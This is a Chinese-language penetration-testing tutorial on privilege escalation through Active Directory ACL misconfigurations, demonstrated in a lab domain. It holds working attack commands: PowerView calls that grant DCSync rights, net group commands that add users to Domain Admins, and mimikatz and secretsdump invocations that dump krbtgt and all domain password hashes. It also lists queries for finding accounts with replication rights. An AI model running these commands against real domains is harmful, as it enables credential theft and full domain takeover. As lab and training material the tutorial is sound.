在Active Directory中设置权限,其方式与在文件中设置权限的方式几乎相同。权限控制都是使用windows访问控制模型
windwos访问控制模型包含以下部分
1、访问令牌(Access Tolen)
2、包含用户的标识(User SID,Group SID S),以及特权列表
3、安全描述符(security identifiers)
4、被访问的安全对象的相关安全信息
这里的安全对象包括但不限于
· NTFS卷上的文件和目录
· 注册表项
· 网络共享
· 服务
· Active Directory对象
· 进程等
Access Token
access Token用于基于Token的认证模式,允许应用访问一个资源API。用户认证授权成功后,Authing会签发Access Token给应用。应用需要携带Access Token访问资源API,资源服务API会通过拦截器检查Access TOken中的scope字段是否包含特定的权限项目,从而决定是否返回资源
系统使用访问令牌来标识用户,访问令牌包括用户的SID、所在组的SID等信息
SID(Security Identifiers)即安全描述符
安全描述符标识对象的所有者,并包含以下访问控制列表
1、Discretionary Access Control List(DACL)自由访问控制列表
2、System Access Control List(SACL)系统访问控制列表
每一种控制列表中都存在若干条ACE(Access Control Entries)访问控制条目
查看domain user属性->安全->高级
安全描述符由Header、SID、DACL和SACL组成
ACE是针对特定用户或特定组的单个权限授予(或拒绝权力)的配置结构。ACE有许多不同类型,但是在Active Directory的权限中,只有四种不同的含义,两种分别用于授权和拒绝权限。
Access Mask
在ACE中有Access Mask这个字段,它代表着此条ACE所对应的权限,比如完全控制(GenericALl)、修改密码(RestPassword)、写入属性(WriteMembers)等等
Trustees
Trustees的意思为受委托人,受委托是一个ACE所应用到的用户账户,组账户或者是登录会话。也就是说,谁是一个ACE的受托者,那么这条ACE中的Access Mask所对应的权限(可能是拒绝可能是通过)就会赋予受托者
· GenericAll :授予目标对象的完全控制权,包括WriteDacl和WriteOwner特权。
· GenericWrite :此权限能够更新目标对象的属性值
· Self-Membership :这条权限指的是某个账户能够把自身添加到某个组的权限(需要在某个组的高级权限中添加ACE,也就是说针对的是组对象)
· WriteProperty :WriteProperty直译为写所有权。这个权限利用针对的对象为组对象,能够赋予账户对于某个组的可写权限
· WriteOwner :WriteProperty on Group说的是对一个组具有WriteProperty权限的情况下,“写入全部属性”除了WriteProperty还包括了其他的权限
· WriteDacl :WriteDacl允许委托人修改受影响对象的DACL。这意味着攻击者可以添加或删除特定的访问控制项,从而使他们可以授予自己对对象的完全访问权限。因此,WriteDacl是在链中启用其他权利的权利。
nami\users用户的权限
将nami\users权限设置完全控制
执行powershell命令查看test用户的GenericAll权限项,这些权限项对应的就是ACE的有效访问
.\SharpView.exe Get-ObjectAcl -SamAccountName test -ResolveGUIDs
在域控上设置test用户的DACL,添加nami用户对test的完全控制
再次查询test用户的DACL,就会发现ActiveDirectoryRights属性等于GenericAll的acl发现多了一条
Get-ObjectAcl -SamAccountName nami -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}
这条ACL的含义是:
nami账户对test账户具有完全管理(GenericALL)权限
可以看到在设置DACL之前和之后的区别,设置ACL之后是立即生效的。然后使用runas命令就可以直接创建一个tset权限的cmd窗口:
拥有这个权限可直接DCSync,dump哈希
GenericAll on Group 是对一个组有GenericAll权限,使用命令查看用户组
Get-NetGroup "domain admins"
此时nami和test均为域内普通权限用户,然后再管理员组domain admins的DACL中加入nami的GenericALL权限
完全控制权限
再次去查询使用命令查看domain admins的权限。可以看到一条SID为nami的SID,权限为GenericAll
Get-ObjectAcl -ResolveGUIDs| ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC
然后尝试将test加入domain admins组
net group "domain admins" test /add /domain
net group "domain admins" test /del /domain
将nami的GenericAll权限在domain admins移出之后,再次执行就会被拒绝
拥有这个权限可直接DCSync,dump哈希
WriteDacl允许委托人修改受影响对象DACL。这意味着攻击者可以添加或删除特定的访问控制项,从而使他们可以授予自己对对象的完全访问权限。因此,WriteDacl是在链中启用其他权利的权利。
当前拥有WriteDacl权限,没有DCSync权限。
Get-ObjectAcl -SamAccountName "nami" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights-like "*dacl*"}
自己向自己写入DSCync权限
powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Add-DomainObjectAcl -TargetIdentity \"DC=nami,DC=com\" -PrincipalIdentity nami -Rights DCSync -Verbose}"
或
Add-DomainObjectAcl -TargetIdentity "DC=nami,DC=com" -PrincipalIdentity nami -Rights DCSync -Verbose
写入成功之后,直接dump哈希
这条权限指的是某个账户能够把自身添加到某个组的权限(需要在某个组的高级权限中添加ACE,也就是说针对的是组对象)
可以把自身加入域管理员组
已经加入域管理员组
添加到管理员组,可以直接DCSync。
注意:添加到管理员组之后需要重新登录才可以DCSync
WriteProperty on Group
对一组具有WriteProperty权限的情况下,"写入全部属性"除了WriteProperty还包括了其他的权限
CreateChild, DeleteChild, Self, WriteProperty, ExtendedRight, GenericRead, WriteDacl, WriteOwner
在Domain Admins组的列表中添加写入全部属性,会生成一条新的ACE,访问会被标记为特殊
添加ACE前后
同样加入到管理员组就可以DCSync
在域环境中,不同域控制器(DC)之间,每15分钟都会有一次域数据的同步。当一个域控制器(DC1)想从其他域控制器(DC2)获取数据时,DC1会向DC2发起一个GetNCChanges请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述的过程。DCSync就是利用的这个原理,通过Directory Replication Service(DRS)服务的GetNCChanges接口向域控发起数据同步请求。域控制器之间的数据同步复制
但是在2015 年 8 月份, Mimkatz新增了一个主要功能叫"DCSync",使用这项技术可以有效地 "模拟" 域控制器并从目标域控上请求域内用户密码hash
DCSync攻击的对象如果是只读域控制器(RODC),则会失效。因为RODC是不能参与复制同步数据到其他DC的
DCSync需要什么权限
一个域内用户想要通过DCSync获取krbtgt的HASH值需要在域对象或者域内的高权限组中有以下权限:
复制目录更改Replicating Directory Changes (DS-Replication-Get-Changes)
复制目录更改所有Replicating Directory Changes All (DS-Replication-Get-Changes-All)(Exchange用的就是这个)
这几个权限在DACL的设置中可以看到
在域控中给一个用户添加DCSync权限,使用powerviewer.ps1的Add-DomainObjectAcl函数实现
Add-DomainObjectAcl -TargetIdentity "DC=nami,DC=com" -PrincipalIdentity win7 -Rights DCSync
或
powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Remove-DomainObjectAcl -TargetIdentity \"DC=nami,DC=com\" -PrincipalIdentity win7 -Rights DCSync -Verbose}"
在DACL这里新增了一条ACE
使用win7用户导出hash,这里不需要debug权限也可以直接dump哈希,因为DCSync去向域控发起请求,并非本地操作,为网络请求。
mimikatz.exe "lsadump::dcsync /user:krbtgt" "exit"
mimikatz.exe "lsadump::dcsync /user:all" "exit"
mimikatz.exe "log Micropoor.txt" "lsadump::dcsync /domain:nami.com /all /csv " "exit"
删除一个DCSync
powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Remove-DomainObjectAcl -TargetIdentity \"DC=test,DC=com\" -PrincipalIdentity test -Rights DCSync -Verbose}"
或
Remove-DomainObjectAcl -TargetIdentity "DC=nami,DC=com" -PrincipalIdentity nami -Rights DCSync -Verbose
再次DSCync被拒绝
查询具有DCSync权限的用户
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType -match "DS-Replication-Get-Changes"}
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType -match "Replicating Directory Chan
使用Adfind查找
AdFind.exe -s subtree -b "DC=nami,DC=com" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute
AdFind.exe -s subtree -b "DC=nami,DC=com" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes All";; -recmute
我又增加了一个test用户
若拿到用户为以下组的用户,即可直接写入DCSync功能,从而dump哈希
Administrators组内的用户
domain admins组
enterprise admins组
域控制器的计算机账户
查看用户所具备的ACL
Get-DomainObjectAcl -Identity nami -domain nami.com -ResolveGUIDs
Exchange 2019之前的版本
安装好exchange之后,Exchange会添加一个名为 Microsoft Exchange Security Groups ,其中包括几个特殊的组:
Exchange Trusted Subsystem
Exchange Windows Permission
Organization Management
如果获得了这三个组内任意用户的控制权限,就能够继承该组的WriteDACL权限,进而修改域对象的ACL。
默认情况下,Exchange Windows Permissions对安装Exchange的域对象具有WriteDacl权限,那么Exchange Trusted Subsystem也会继承这个权限
其中Exchange Trusted Subsystem是Exchange Windwos Permissions的成员
添加一个win7的成员,如果对域对象具有了WriteDACL权限,就能够为指定域用户添加ACE,其获得利用DCSync导出域内所有用户hash的权限
查看当前的权限
whoami /groups
或者使用命令添加一个用户到Exchange Trusted Subsystem组
net user test2 [email protected]123 /add /domain
net group "Exchange Trusted Subsystem" test2 /add /domain
python3 secretsdump.py nami/test2:[email protected]123@10.0.20.16 -just-dc-user krbtgt
装了Exchange2遍没装成功,,,
当有了WriteDacl权限之后就可以自己向自己写入一条ACE,上面有写到,然后就可以dcsync了
也可以参考这篇文章:
https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E4%BD%BF%E7%94%A8Exchange%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%AD%E7%89%B9%E5%AE%9A%E7%9A%84ACL%E5%AE%9E%E7%8E%B0%E5%9F%9F%E6%8F%90%E6%9D%83
关注公众号
公众号长期更新安全类文章,关注公众号,以便下次轻松查阅
渗透培训
需要渗透测试培训联系暗月